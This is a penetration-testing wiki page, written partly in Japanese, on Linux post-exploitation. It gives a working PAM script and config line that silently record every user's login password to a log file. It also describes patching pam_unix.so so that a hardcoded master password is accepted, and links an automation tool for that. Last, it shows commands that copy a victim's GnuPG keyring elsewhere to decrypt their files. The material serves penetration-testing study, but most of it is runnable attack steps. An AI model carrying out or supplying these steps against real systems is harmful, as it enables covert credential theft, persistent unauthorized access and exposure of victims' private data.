5.3 KiB
Linux Post-Exploitation
{{#include ../../banners/hacktricks-training.md}}
Sniffing Logon Passwords with PAM
Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
{{#ref}} pam-pluggable-authentication-modules.md {{#endref}}
For further details check the original post. 以下は要約です:
Technique Overview: Pluggable Authentication Modules (PAM)は、Unixベースのシステムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズしてセキュリティを強化できますが、誤用されるとリスクにもなります。本要約は、PAMを用いてログイン資格情報を取得する手法と、その緩和策の概要を示します。
Capturing Credentials:
toomanysecrets.sh
という名前のbashスクリプトを作成し、ログイン試行を記録します。日付、ユーザー名($PAM_USER
)、パスワード(stdin経由)、およびリモートホストIP($PAM_RHOST
)を/var/log/toomanysecrets.log
に記録します。- スクリプトを実行可能にし、
pam_exec.so
モジュールを使って(静かに実行するオプションと認証トークンをスクリプトに公開するオプションを付けて)PAMの設定(common-auth
)に組み込みます。 - この手法は、侵害されたLinuxホストがどのようにして資格情報を目立たずに記録するために悪用され得るかを示しています。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
For further details check the original post。以下は要約です:
Pluggable Authentication Module (PAM) は、Linux 上でユーザー認証に使用されるシステムです。主要な概念は username, password, service の三つです。各サービスの設定ファイルは /etc/pam.d/
に置かれ、認証は共有ライブラリによって処理されます。
目的: 実際のユーザーパスワードを迂回して、特定のパスワードで認証できるように PAM を改変すること。これは特に、パスワード検証のためにほとんどのサービスから include される common-auth
ファイルで使われている pam_unix.so
共有ライブラリに焦点を当てています。
Steps for Modifying pam_unix.so
:
- Locate the Authentication Directive in the
common-auth
file:
- ユーザーのパスワードを検証する行が
pam_unix.so
を呼び出しています。
- Modify Source Code:
pam_unix_auth.c
のソースに、事前定義したパスワードが使われた場合にアクセスを許可する条件分岐を追加し、それ以外は通常の認証処理を続行するようにします。
- Recompile and Replace the modified
pam_unix.so
library in the appropriate directory. - Testing:
- 事前定義したパスワードで login、ssh、sudo、su、screensaver など複数のサービスに対するアクセスが許可され、通常の認証処理には影響が出ないことを確認します。
Tip
You can automate this process with https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
暗号化された .gpg
ファイルとユーザーの ~/.gnupg
フォルダ(pubring、private-keys、trustdb)を見つけたが、GnuPG の homedir の権限やロックのせいで復号できない場合は、keyring を書き込み可能な場所にコピーしてそこを GPG home として使います。
これをやらないと典型的に出るエラー: "unsafe ownership on homedir", "failed to create temporary file", または "decryption failed: No secret key"(GPG が元の homedir を読み書きできないため)。
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
秘密鍵の実体が private-keys-v1.d
に存在する場合、GPGはパスフレーズを要求せずにアンロックおよび復号します(キーが保護されている場合は要求されます)。
参考文献
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
{{#include ../../banners/hacktricks-training.md}}